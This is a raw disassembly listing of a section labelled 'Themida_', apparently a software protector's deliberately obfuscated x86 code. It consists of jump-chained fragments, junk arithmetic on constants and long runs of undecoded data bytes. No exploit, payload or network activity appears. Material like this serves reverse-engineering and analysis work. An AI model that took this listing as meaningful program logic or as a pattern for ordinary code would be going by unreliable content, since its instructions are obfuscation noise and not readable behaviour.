		dd 24AB3B1Dh, 5A2434FFh, 4EC81h, 4890000h, 57E08924h, 643A76BFh
		dd 14F1E94Eh, 6A2D0000h, 101F323h, 6ABB53E8h, 2D01F323h
		dd 7AB9549Ch, 9C05D801h, 5B7AB954h, 83242C8Bh, 20504C4h
		dd 87000000h, 645C2404h, 2AE90288h, 81FFFF84h, 4C4h, 0F6C68000h
		dd 63B25266h, 8B66D328h, 0C4812414h, 2,	0EC83F328h, 240C8904h
		dd 0EB8063B1h, 80CB002Ch, 8B592CC3h, 0C4812414h, 4, 528568h
		dd 24148900h, 92DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_63D1BD:				; CODE XREF: Themida_:0063B617j
		mov	ch, al
		pop	eax
		xor	dl, ch
		mov	cx, [esp]
		jmp	loc_649575
; ---------------------------------------------------------------------------


loc_63D1CB:				; CODE XREF: Themida_:0063CBACj
		pop	ebp
		jmp	loc_63FE6F
; ---------------------------------------------------------------------------


loc_63D1D1:				; CODE XREF: Themida_:0063B35Dj
		sub	esp, 4
		mov	[esp], eax
		push	3403h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_63A562
; ---------------------------------------------------------------------------


loc_63D1FA:				; CODE XREF: Themida_:0064272Ej
		mov	edi, 64E307B9h
		jmp	loc_638CA0
; ---------------------------------------------------------------------------


loc_63D204:				; CODE XREF: Themida_:0063F11Fj
		mov	edi, 712005EEh
		neg	edi
		and	edi, 681C5B61h
		xor	edi, 3FC82C01h
		sub	edi, 37D475FDh
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_646796
; ---------------------------------------------------------------------------
aFSl@		db 'f)L@',0
		dd 2414F700h, 0D4BE565Ah, 813A2C34h, 830CE2C6h,	7E6C128h
		dd 1643CE81h, 0EE81361Fh, 2544ACh, 8106E6C1h, 448282C6h
		dd 0E9F2016Dh, 0C639h, 5AD5895Dh, 0E924348Bh, 1CC2h, 33243431h
		dd 665C2434h, 9C240401h, 0FF831CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63D289:				; CODE XREF: Themida_:0063B802j
		mov	ch, ah
		jmp	loc_6476A9
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 668Ch
; ---------------------------------------------------------------------------


loc_63D298:				; CODE XREF: Themida_:00645942j
		or	dh, 42h
		push	ebx
		jmp	loc_63E3FB
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 0FFFFBF21h, 4240481h, 0E9000000h, 61DFh
; ---------------------------------------------------------------------------


loc_63D2B8:				; CODE XREF: Themida_:0063F8CDj
		add	ah, 0A0h
		jmp	loc_63EA00
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFFC811h, 81241C8Bh, 4C4h, 243C3300h
		dd 0E9243C31h, 0FFFFE12Ah, 4C481h, 0E9C30000h, 0FFFF82BDh
; ---------------------------------------------------------------------------


loc_63D2E8:				; CODE XREF: Themida_:006481F4j
		mov	[esp], ebx
		push	3D7Ch
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_6401B7
; ---------------------------------------------------------------------------
		dd offset dword_623E30+38h
		dw 8900h
		dd 4BB241Ch, 1000000h, 0C2815BDAh, 4, 2474FF52h, 48F5A04h
		dd 52A5E924h, 0C7BA0000h, 0E91BF82Dh, 343Dh, 0BB1DCABBh
		dd 87F38128h, 0C100491Dh, 0D3E904EBh
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63D33F:				; CODE XREF: Themida_:0063DC05j
		add	edi, esi
		add	edi, 6720500Dh
		jmp	loc_63B632
; ---------------------------------------------------------------------------
		dd 305FB951h, 8F2D5644h, 0E95CFE3Ah, 6638h, 1F09EE81h
		dd 85E91963h, 890000D3h, 240C8BCDh, 4C481h, 44E90000h
		dd 500000D7h, 0E9512EB0h, 5609h, 240C8B54h, 5004C483h
		dd 4B8h, 8BC10100h, 89512404h, 4C181E1h, 83000000h, 0C8704C1h
		dd 0C1835C24h, 240C3302h, 33240C31h, 4EE9240Ch,	40000040h
		dd 0AF3F1205h, 2CB70D6Fh, 0B8E97C7Eh, 0BD000013h, 24D5531Ch
		dd 815DE901h, 0A2076C1h, 0ABE1812Bh, 81697B71h,	0FF264DF1h
		dd 0E9C82901h, 0D7CCh
; ---------------------------------------------------------------------------


loc_63D3E4:				; CODE XREF: Themida_:006468C9j
		xor	edi, 552E0D42h
		add	eax, edi
		pop	edi
		jmp	loc_6370B7
; ---------------------------------------------------------------------------
		dw 814Dh
		dd 0C8DE36C5h, 5DE8298Ch, 0FFD3D6E9h, 5E3C1FFh,	98C3C381h
		dd 0DE01FC1Ch, 0C6BCE95Bh, 8F5A0000h, 248B2404h, 8C8EE924h
		dd 77FFFFFFh, 11589D1Ch, 0E99C2404h, 0B9BAh, 24048B66h
		dd 0E9E38953h, 0FFFFD8CEh, 6602EC83h, 53240C89h, 328CE951h
		dd 21680000h, 8900007Fh, 89562414h, 4C681E6h, 83000000h
		dd 348704EEh, 8F545C24h, 6AE92404h, 28000045h, 515A66F0h
		dd 0D30444B5h, 0D32CE828h, 0BBF2E9h, 4C48100h, 33000000h
		dd 0C31240Ch, 3174E924h, 0E3D10000h, 749CBA52h,	52E92660h
		dd 8BFFFF8Bh, 0C4812404h, 4, 0CE23E950h, 74FF0000h, 11E90424h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63D4AF:				; CODE XREF: Themida_:0063EAE2j
		sub	eax, ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, eax
		pop	eax
		jmp	loc_6356DE
; ---------------------------------------------------------------------------
		db 68h
		dd 208Bh, 54241489h, 0E92434FFh, 0A923h, 0A477E956h, 0D9F7FFFFh
		dd 0F181D9F7h, 12F70EF8h, 661CC381h, 0CB013229h, 661CEB81h
		dd 0E9593229h, 0B60Eh
; ---------------------------------------------------------------------------


loc_63D4F8:				; CODE XREF: Themida_:00646C10j
		pop	ebp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_63ACBC
; ---------------------------------------------------------------------------


loc_63D502:				; CODE XREF: Themida_:0063E568j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_6430CA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4B9AE900h, 80680000h, 5811A03Eh, 45C16856h, 14890000h
		dd 425C6824h, 58E92B79h, 0B80000D2h, 1C045B4Ah,	0A0BD5540h
		dd 81737A5Dh, 0AF00CDF5h, 36B52D5Bh, 0E82927ADh, 0AD36B505h
		dd 6D26E927h, 452C0000h, 0C6004834h, 8167E958h,	0E9810000h
		dd 0FFFFFFFFh, 0F7FC181h, 0F1810EC1h, 3E956BDAh, 19ADE981h
		dd 0C9812675h, 1170203Bh, 75CAE956h, 3C890000h,	0E6895624h
		dd 0EBBE5652h, 0E92F771Fh, 58C1h, 4BA52h, 0D7890000h, 7EA815Ah
		dd 14D5523h, 6FD9E9FAh,	0EEE90000h, 0FFFF7Fh, 33E951F8h
		dd 6600001Dh, 0D137E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63D5C6:				; CODE XREF: Themida_:00642463j
		pop	esp
		jmp	loc_64122A
; ---------------------------------------------------------------------------


loc_63D5CC:				; CODE XREF: Themida_:006436FCj
		mov	[esp], edx
		push	ecx
		jmp	loc_6472A2
; ---------------------------------------------------------------------------
		db 5Bh,	80h, 0EAh
		dd 68C280F4h, 0FFA4DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63D5E1:				; CODE XREF: Themida_:006487AAj
		pop	ebx
		jmp	loc_63E926
; ---------------------------------------------------------------------------


loc_63D5E7:				; CODE XREF: Themida_:0063C3DEj
		sub	dword ptr [esp], 164B41C3h
		jmp	loc_64775B
; ---------------------------------------------------------------------------
aMqSuo		db 'mq',0Bh,')',0
		db 0
; ---------------------------------------------------------------------------


loc_63D5FF:				; CODE XREF: Themida_:00635B4Ej
		pop	eax
		jmp	loc_646D2A
; ---------------------------------------------------------------------------


loc_63D605:				; CODE XREF: Themida_:0063F421j
		sub	ecx, 0E338E9Eh
		jmp	loc_63F503
; ---------------------------------------------------------------------------
		dd 0B850h, 0C8290000h, 0E958C189h, 0AD41h, 0D004C828h
		dd 0D0EDE9h, 0DE95B00h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63D62F:				; CODE XREF: Themida_:00646407j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_63ECD4
; ---------------------------------------------------------------------------


loc_63D63F:				; CODE XREF: Themida_:00643DB0j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_6464CA
; ---------------------------------------------------------------------------


loc_63D656:				; CODE XREF: Themida_:00642C0Dj
		push	ebx
		jmp	loc_639C4C
; ---------------------------------------------------------------------------
		dd 5052EB80h, 0C4FE18B4h, 85EC80h, 0C30058E3h, 0C7D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_63D671:				; CODE XREF: Themida_:00636F10j
		mov	esi, ebx
		jmp	loc_647D39
; ---------------------------------------------------------------------------
		dd 0AE2DF001h, 0E94D3A6Bh, 750Eh
; ---------------------------------------------------------------------------


loc_63D684:				; CODE XREF: Themida_:00641366j
					; Themida_:00648A34j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_64ABF0
; ---------------------------------------------------------------------------
		db 51h
		dd 22A02CB9h, 59CE01D4h, 242C8156h, 47852021h, 21C3815Bh
		dd 8B478520h, 0C4832434h, 2CBD6804h, 4890000h, 2434FF24h
		dd 8124048Bh, 4C4h, 8B545100h, 0C483240Ch, 4EC8304h, 0B2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_63D6D1:				; CODE XREF: Themida_:006408DCj
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_63BA83
; ---------------------------------------------------------------------------
		dw 0FA29h
		dd 0FFCA15E9h, 0BA525DFFh, 1AEA0D25h, 5ADECA81h, 0EA8165C5h
		dd 80E05F5Ah, 0E95AD601h, 3FA9h, 22AFCF81h, 9CE91797h
		dd 66FFFFA9h, 0E9240C8Bh, 1312h, 6624248Bh, 0E9C8BE0Fh
		dd 8576h, 0E4E9CE01h, 58FFFFE0h, 8107EDC1h, 7D24C4F5h
		dd 65E95301h, 81000078h, 4C1h, 0CDD2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63D746:				; CODE XREF: Themida_:0063FBB7j
		pop	edx
		sub	edi, ebp
		jmp	loc_642BD4
; ---------------------------------------------------------------------------


loc_63D74E:				; CODE XREF: Themida_:00641C8Cj
		add	esp, 4
		add	eax, 1D276267h
		add	eax, esi
		sub	eax, 1D276267h
		pop	esi
		push	3707h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_638B29
; ---------------------------------------------------------------------------


loc_63D772:				; CODE XREF: Themida_:00641549j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	eax
		jmp	loc_644922
; ---------------------------------------------------------------------------


loc_63D781:				; CODE XREF: Themida_:0064A39Bj
		push	eax
		mov	eax, 0A302EB5h
		sub	eax, 1D47570Ch
		xor	eax, 0C71292FAh
		xor	esi, eax
		pop	eax
		xor	esi, 2B6FBDBEh
		jmp	loc_642931
; ---------------------------------------------------------------------------
		db 28h
		dd 24048BE3h, 0FFCECCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63D7A9:				; CODE XREF: Themida_:0063EF57j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_64006C
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 0E9000000h, 0FFFFD3C5h, 7EE95166h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63D7C7:				; CODE XREF: Themida_:006378D2j
		pop	ebx
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_640027
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0BDh
a5osO		db '(5O[',0
		align 4
		dd 83243C8Bh, 48704C4h,	0EE295C24h, 284EBB5Dh, 5243283Fh
		dd 53B5BB53h, 0D3F76B8Ch, 0BA52D3F7h, 39647B7Dh, 0A4E9D331h
		dd 5BFFFFF6h, 2434FF59h, 4C4835Bh, 2244C8Ah, 2247488h
		dd 24148B66h, 0AB6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_63D831:				; CODE XREF: Themida_:00645A32j
		sub	edx, 0DC4EA58Fh
		or	ebx, edx
		jmp	loc_644528
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 72760882h, 22C4F181h, 0CE31A214h, 10C28159h,	170145Ah
		dd 10EA81F2h, 0E970145Ah, 5E52h, 0ED3BF57h, 0E781713Dh
		dd 0CA21CACh, 5480BE56h, 0F7014711h, 69BD555Eh,	0E9030E30h
		dd 93FEh, 2404FF66h, 243C8B66h,	2C481h,	56660000h, 39E1BE66h
		dd 0E9F70966h, 0C9E4h, 0CEDE955h, 0B8500000h, 4, 9447E9h
		dd 8BFD3000h, 15E9241Ch, 8100000Ah, 0ED67D2F1h,	84EE815Bh
		dd 178FB45h, 0F655E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63D8CA:				; CODE XREF: Themida_:0063595Aj
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	edi
		mov	ecx, [esp]
		jmp	loc_646475
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 6E3B1A2Dh, 0A8A4E943h, 32FF0000h, 0FF7CA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63D901:				; CODE XREF: Themida_:00647EA0j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_63A704
; ---------------------------------------------------------------------------
aQisssa		db 'Q鑀',0
		align 2


loc_63D926:				; CODE XREF: Themida_:006496D3j
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_645AF0
; ---------------------------------------------------------------------------


loc_63D930:				; CODE XREF: Themida_:006362E6j
		mov	ebx, [esp]
		jmp	loc_63632E
; ---------------------------------------------------------------------------
		dd 0F8E95055h, 54FFFF94h, 4B8505Fh, 0E9000000h,	5E8Ch
		dd 8852EC88h, 5AD388E2h, 240C8B58h, 0FFFFC1E9h,	244401FFh
		dd 24048B08h, 104C483h,	8104246Ch, 2704246Ch, 0FF795E47h
		dd 835D2434h, 8FE904C4h, 81FFFF8Ch, 0E9167BEEh,	67826850h
		dd 14890000h, 59DBBA24h, 0D6293D8Fh, 8324148Bh,	0F68104C4h
		dd 11107B77h, 0B76CE81h, 0BB534ED4h, 45031B68h,	1C34C381h
		dd 0D7E9137Dh, 89FFFF9Fh, 4BE56E5h, 1000000h, 7ECFE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63D9C6:				; CODE XREF: Themida_:006398EDj
		push	ebx
		push	3DF1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		jmp	loc_63A7F7
; ---------------------------------------------------------------------------


loc_63D9DF:				; CODE XREF: Themida_:00649594j
		shr	ebx, 5
		jmp	loc_63F8AF
; ---------------------------------------------------------------------------
		db 81h
		dd 56D95DC7h, 5FFB0173h, 0FF8F6AE9h, 4C7305FFh,	45E91BDFh
		dd 52000083h, 8D75E9h
		db 0
; ---------------------------------------------------------------------------


loc_63DA05:				; CODE XREF: Themida_:0063E876j
		not	eax
		dec	eax
		not	eax
		jmp	loc_63C704
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 0ACE95300h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63DA1B:				; CODE XREF: Themida_:0063A386j
		mov	eax, 1
		jmp	loc_639C59
; ---------------------------------------------------------------------------
		db 34h,	9Eh, 4
		dd 58C18871h, 50ECC980h, 0C0FE92B0h, 84BFE9h, 0C8B5B00h
		dd 0AB54E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63DA42:				; CODE XREF: Themida_:006464CBj
		or	edx, eax
		shl	edx, 1
		push	681Ch
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3BDD3E46h
		jmp	loc_639C6C
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 14h
		dd 4EC8124h, 89000000h,	0E0892404h, 1242E9h, 5E08900h
		dd 4, 8702C083h, 0E95C2404h, 0FFFFAECAh, 4C281h, 0C2830000h
		dd 4EC8302h, 1278E9h, 0E6895600h, 4C681h, 0EE810000h, 4
		dd 5C243487h, 83242489h, 5E042404h, 4BF57h, 0BB530000h
		dd 4BE02A4Ch, 5B1AE381h, 0E3C10112h, 0F0BA5205h, 817AC97Eh
		dd 137F2DCAh, 6EAC16Eh,	0C281DAF7h, 6787ABD3h, 0FFC534E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63DAE5:				; CODE XREF: Themida_:006445A2j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 8BE100Dh
		mov	ebp, ebx
		pop	ebx
		and	ebp, 71A67034h
		jmp	loc_63F0AE
; ---------------------------------------------------------------------------
		dd 8704C783h, 11E9243Ch, 0ADFFFFE1h, 406AE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63DB1A:				; CODE XREF: Themida_:00636D19j
		push	eax
		mov	eax, esp
		jmp	loc_64975D
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0C366EC86h, 835DE929h, 3C8904ECh, 62B3BF24h,	0F93134C2h
		dd 0B596E9h, 7CE95800h,	0B900001Bh, 4, 881E8505h, 0E9C82920h
		dd 0AA68h
; ---------------------------------------------------------------------------


loc_63DB54:				; CODE XREF: Themida_:0063EE8Bj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_63F581
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 3C8704C7h, 0D3E95C24h, 50FFFFF8h,	0C6E9D3B4h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63DB7B:				; CODE XREF: Themida_:0064434Cj
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_6435B7
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6824248Bh, 456h, 0FFE0C9E9h,	2DC780FFh, 45BF828h, 2CD02823h
		dd 662D0423h, 0C8B665Ah, 0E6895624h, 85E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_63DBB1:				; CODE XREF: Themida_:0063954Aj
		mov	esi, 566512CFh
		xor	edx, esi
		pop	esi
		jmp	loc_641DCD
; ---------------------------------------------------------------------------


loc_63DBBE:				; CODE XREF: Themida_:006452D7j
		mov	ebp, 715EFFE0h
		xor	esi, ebp
		pop	ebp
		push	edi
		push	ecx
		push	7C3B0566h
		pop	ecx
		add	ecx, 1665D1Ch
		sub	ecx, 21A53EB8h
		inc	ecx
		jmp	loc_644844
; ---------------------------------------------------------------------------
		dd 79BFE95Bh, 0BD55FFFFh, 4, 0FFE971E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63DBF1:				; CODE XREF: Themida_:0063F2D0j
		and	esi, 6B806B03h
		shr	esi, 1
		add	esi, 0EAFFEE84h
		sub	edi, 6720500Dh
		jmp	loc_63D33F
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0FF31E924h, 6897FFFFh, 4A69h, 0BEA9E9h, 53565900h, 0FFDC16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63DC25:				; CODE XREF: Themida_:0063EE3Aj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2B84626Ah
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 77CE2B90h
		and	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_639BCD
; ---------------------------------------------------------------------------
		db 0B8h
		dd 31165D3Bh, 4A156FBBh, 8712E954h, 8359FFFFh, 19E904ECh
		dd 89000088h, 632D5BDAh, 2D290227h, 676C58CEh, 0CE05D001h
		dd 53676C58h, 22763BBh,	0E9D80129h, 0AA51h
; ---------------------------------------------------------------------------


loc_63DC88:				; CODE XREF: Themida_:00641772j
		pop	esp
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_64920A
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 81E18951h, 4C1h, 3F3A6800h, 2C890000h, 0CC09E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63DCB6:				; CODE XREF: Themida_:00635CE2j
		push	edx
		jmp	loc_63CE21
; ---------------------------------------------------------------------------
		dd 83242489h, 1C8904ECh, 0ABD9E924h, 0B9510000h, 4, 0E959CF29h
		dd 61C1h, 8BC22959h, 0C4832404h, 24148704h, 2424895Ch
		dd 4240481h, 8B000000h,	8950243Ch, 4BD55E0h, 0E9000000h
		dd 0CECBh
; ---------------------------------------------------------------------------


loc_63DD00:				; CODE XREF: Themida_:0063AC14j
		add	ebx, 0A850D0E8h
		add	ebx, 41F02739h
		add	ebx, edi
		sub	ebx, 41F02739h
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		jmp	loc_6477FC
; ---------------------------------------------------------------------------
		db 5Bh,	33h, 4
		dd 24043124h, 0E9240433h, 0FFFF9D83h, 26B1BE56h, 0F6815848h
		dd 4AD74A92h, 0DEF7D6F7h, 9C93E94Eh, 93BEFFFFh,	112C472h
		dd 4E95EF5h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63DD53:				; CODE XREF: Themida_:00641CBAj
		neg	edi
		xchg	edi, ebp
		sub	ebp, 2CAB6993h
		sub	ebp, 2F80E58Bh
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_6359E1
; ---------------------------------------------------------------------------
		dd 4BF57h, 0C6810000h, 2080332Bh, 326BC681h, 0FE293129h
		dd 326BEE81h, 0AE93129h, 5DFFFF83h, 170DCE81h, 0EE811F4Dh
		dd 1FDD373Bh, 348BF001h, 4C48124h, 87000000h, 248B2404h
		dd 0E3895324h, 7168E9h,	0FB295E00h, 241C875Fh, 241C895Ch
		dd 0C381E389h, 4, 8704C383h, 685C241Ch,	1E1Bh, 68243489h
		dd 5425h, 81241C89h, 0A47242Ch,	685E621Bh, 7C61h, 0E9240489h
		dd 0FFFFE996h, 5EF4C681h, 9E97576h, 81FFFF83h, 0E35E00EDh
		dd 81FFE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63DE0A:				; CODE XREF: Themida_:00637C04j
		pop	edx
		jmp	loc_647209
; ---------------------------------------------------------------------------


loc_63DE10:				; CODE XREF: Themida_:0064517Bj
		push	ebx
		mov	ebx, esp
		jmp	loc_64AA24
; ---------------------------------------------------------------------------
		dd 48B665Ch, 0C4685124h, 81000065h, 4ECh, 24248900h, 4BB5357h
		dd 0E9000000h, 75CCh
; ---------------------------------------------------------------------------


loc_63DE38:				; CODE XREF: Themida_:0063AE58j
		pop	esp
		jmp	loc_63BADA
; ---------------------------------------------------------------------------
		dw 0FE5Ah
		dd 80D1F6C9h, 87B38AC1h, 0E98BE380h, 0ABC4h, 0A0F78059h
		dd 0E3E9C7FEh, 53FFFF91h, 0B7B1B450h, 8BE73008h, 0C4812404h
		dd 4, 0F780CFFEh, 0E9FE0850h, 0CBB7h
; ---------------------------------------------------------------------------


loc_63DE78:				; CODE XREF: Themida_:006477FDj
		push	ecx
		push	1B381D04h
		mov	ecx, [esp]
		add	esp, 4
		not	ecx
		add	ecx, 1B381D05h
		mov	ebx, ecx
		pop	ecx
		add	ebx, ecx
		push	edx
		mov	edx, 0
		add	edx, ebx
		add	eax, [edx]
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_6463F8
; ---------------------------------------------------------------------------


loc_63DEAD:				; CODE XREF: Themida_:0063796Cj
		or	ch, ah
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_63F45A
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2B9240Ch, 53419E3Dh, 8D30E468h, 81D0E918h,	0B9510000h
		dd 33EB6577h, 8159CB29h, 2B3D0DCBh, 0B214E957h,	515E0000h
		dd 4EC81h, 2C890000h, 1136BD24h, 574539A7h, 0FFE192E9h
		dd 0C70158FFh, 0E92434FFh, 793Dh
; ---------------------------------------------------------------------------


loc_63DF0C:				; CODE XREF: Themida_:0064A79Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_641FF7
; ---------------------------------------------------------------------------


loc_63DF20:				; CODE XREF: Themida_:00648E6Fj
		sub	esp, 4
		mov	[esp], edi
		push	4AA05420h
		mov	edi, [esp]
		add	esp, 4
		push	47EDh
		mov	[esp], eax
		push	esi
		mov	esi, 619561EAh
		jmp	loc_63CCDF
; ---------------------------------------------------------------------------


loc_63DF4A:				; CODE XREF: Themida_:0063CCC9j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_647C73
; ---------------------------------------------------------------------------


loc_63DF55:				; CODE XREF: Themida_:00642D08j
		push	esi
		mov	esi, 31142F47h
		neg	esi
		inc	esi
		or	esi, 3664726Ch
		add	esi, 39331A03h
		mov	ebp, esi
		pop	esi
		or	ebp, 4BAC2E79h
		jmp	loc_648DEB
; ---------------------------------------------------------------------------


loc_63DF78:				; CODE XREF: Themida_:00640419j
		pop	ebx
		jmp	loc_63E2D2
; ---------------------------------------------------------------------------
		dw 6FB8h
		dd 0E937A564h, 911Ch, 3304C283h, 14312414h, 24143324h
		dd 760BE95Ch, 0C981FFFFh, 23FD79DAh, 0F2C18149h, 8128892Fh
		dd 9D1F76E9h, 0E9CD09DDh, 402h,	40558h,	0BF570000h, 66995E3Bh
		dd 0F3EF781h, 0EFC11F32h, 0EF814F07h, 0E61B059Fh, 2FA0EF81h
		dd 0C7810EC7h, 0F3EEDEA2h, 875FF801h, 0E95C2404h, 271Fh
		dd 0EE81CE01h, 25C311A3h, 4C546859h, 4890000h, 714F6824h
		dd 3C890000h, 2C5CBF24h, 0EFC1427Eh, 78FEE904h,	835AFFFFh
		dd 0F681FFEEh, 5DF9734Bh, 4799F681h, 0A1E964DFh, 0FF0000B3h
		dd 148B2434h, 4C48124h,	52000000h, 0B9515A54h, 4, 0C8BCA01h
		dd 4C48124h, 81000000h,	4C2h, 24148700h, 3B41E9h, 665F6600h
		dd 66243C31h, 66243C33h, 66243C31h, 0E9242C8Bh,	80C8h
; ---------------------------------------------------------------------------


loc_63E068:				; CODE XREF: Themida_:00640764j
		push	esp
		jmp	loc_63C0AE
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404ABh, 6B33E9h, 0C6355A00h, 35305D52h, 4065B95Ch
		dd 5758C131h, 47040BBFh, 3EFC172h, 1CE9DFF7h, 80000078h
		dd 0D3E9ADE6h, 560000A4h, 0A007E9h
		db 0
; ---------------------------------------------------------------------------


loc_63E0A5:				; CODE XREF: Themida_:0063CC6Bj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_6443D5
; ---------------------------------------------------------------------------
		dw 0F658h
		dd 0B35366DCh, 66DC00FFh, 7AEBE95Bh, 565FFFFFh,	0FFEFACE9h
		dd 4EC81FFh, 89000000h,	4812424h, 424h,	9E36E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E0E2:				; CODE XREF: Themida_:0063C5A4j
		sub	esi, ebx
		push	eax
		jmp	loc_63638E
; ---------------------------------------------------------------------------


loc_63E0EA:				; CODE XREF: Themida_:006477EAj
		pop	eax
		jmp	loc_641EE0
; ---------------------------------------------------------------------------
		dd 66D6F659h, 2894B450h, 45866E6h, 0B652665Bh, 66F0006Dh
		dd 3F2DE95Ah, 0E9560000h, 9C89h, 0CDD8E95Dh, 0EC83FFFFh
		dd 889E904h, 34FF0000h,	0C4815924h, 4, 0FFA083E9h, 77E95EFFh
		dd 6800008Bh, 286Bh, 0B2241489h, 0B0F2802Bh, 2B78E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63E146:				; CODE XREF: Themida_:0064893Dj
		neg	ecx
		sub	ecx, 633B3780h
		xor	ecx, 3D15815Eh
		mov	edx, ecx
		pop	ecx
		sub	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_6428CE
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58100h, 33000000h, 2C31242Ch, 242C3324h, 24048F5Ch
		dd 0AE59E9h
		db 0
; ---------------------------------------------------------------------------


loc_63E18D:				; CODE XREF: Themida_:00643606j
		add	esp, 4
		jmp	loc_639355
; ---------------------------------------------------------------------------


loc_63E198:				; CODE XREF: Themida_:00639D2Aj
		push	998h
		jmp	loc_63C301
; ---------------------------------------------------------------------------


loc_63E1A2:				; CODE XREF: Themida_:00640DB0j
		add	esi, 20801BBh
		add	ebp, esi
		jmp	loc_637248
; ---------------------------------------------------------------------------


loc_63E1AF:				; CODE XREF: Themida_:0063A160j
		push	esi
		push	ebp
		mov	ebp, 47CE1119h
